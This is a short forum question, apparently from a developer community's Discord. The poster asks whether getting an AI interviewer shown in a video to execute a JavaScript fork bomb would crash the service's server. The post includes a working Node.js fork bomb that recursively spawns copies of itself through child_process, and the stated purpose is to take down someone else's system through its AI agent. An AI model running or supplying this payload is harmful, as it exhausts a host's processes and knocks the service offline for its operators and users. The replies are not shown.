TTCTheo's Typesafe Cult
Created by Gus on 4/25/2024 in #questions
Fork bomb
Hi, i saw the new video from theo about the AI interview, and on the video he said to the AI to execute an bash fork bomb but forgot to execute it, does anybody knows if it is possible to execute an js forkbomb like this one **(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());** and crash its server?
4 replies